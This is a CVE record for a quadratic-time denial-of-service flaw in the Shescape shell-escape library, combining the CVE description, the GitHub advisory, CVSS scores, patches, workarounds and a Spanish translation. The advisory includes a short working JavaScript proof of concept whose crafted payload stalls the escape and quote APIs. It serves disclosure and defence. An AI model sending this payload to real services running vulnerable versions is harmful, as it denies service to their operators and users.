CVE-2026-73413
JSON

8.7high

Shescape: Quadratic-time denial of service in flag-protection

Severity
8.7high CVSS:4.0 by GitHub_M
Exploit likelihood
0.34% (higher than 28% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-gm3r-q2wp-hw87

Description

Shescape is a simple shell escape library for JavaScript. From 2.1.11 until 2.1.14 and 3.0.1, the flag-protection loop in compose in src/internal/compose.js repeatedly joins and slices flag fragments when flagProtection is enabled, which is the default, making processing quadratic in input size across the escape, escapeAll, quote, and quoteAll APIs. An attacker who can supply a large untrusted input containing many flag fragments can consume CPU and cause denial of service. This issue is fixed in versions 2.1.14 and 3.0.1.

Affected

Product or packageVersionsReported by
ericcornelissen shescape>= 2.1.11, < 2.1.14, >= 3.0.0, < 3.0.1CVE List
shescape (npm)from 2.1.11 before 2.1.14, from 3.0.0 before 3.0.1GitHub Advisory Database

All scores

GitHub_M8.7high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Classification

CWE-400CWE-407

SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.

What each source says

CVE List

Shescape is a simple shell escape library for JavaScript. From 2.1.11 until 2.1.14 and 3.0.1, the flag-protection loop in compose in src/internal/compose.js repeatedly joins and slices flag fragments when flagProtection is enabled, which is the default, making processing quadratic in input size across the escape, escapeAll, quote, and quoteAll APIs. An attacker who can supply a large untrusted input containing many flag fragments can consume CPU and cause denial of service. This issue is fixed in versions 2.1.14 and 3.0.1.

GitHub Advisory Database
Impact

This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.

An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.

import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    //flagProtection unspecified
    // Or
    flagProtection: true,
};

// 2. Payload
let payload = "\u0000-".repeat(32000);

// 3. Usage
const shescape = new Shescape(options);
let callback;

callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);

const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;

// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000
Patches

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.

If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.

No patches will be released for version of Shescape lower than v2.0.0.

Workarounds

Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.

For more information
NVD (es)

Shescape es una simple biblioteca de escape de shell para JavaScript. Desde la versión 2.1.11 hasta la 2.1.14 y la 3.0.1, el bucle de protección de banderas en compose en src/internal/compose.js une y divide repetidamente fragmentos de banderas cuando flagProtection está habilitado, lo cual es el valor predeterminado, haciendo que el procesamiento sea cuadrático en el tamaño de la entrada a través de las APIs escape, escapeAll, quote y quoteAll. Un atacante que puede proporcionar una entrada grande no confiable que contiene muchos fragmentos de banderas puede consumir CPU y causar denegación de servicio. Este problema está solucionado en las versiones 2.1.14 y 3.0.1.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-73413 changed 2026-08-13CVE Terms of Use
GitHub Advisory DatabaseGHSA-gm3r-q2wp-hw87 changed 2026-08-12CC-BY-4.0
NVDCVE-2026-73413 changed 2026-10-24Public domain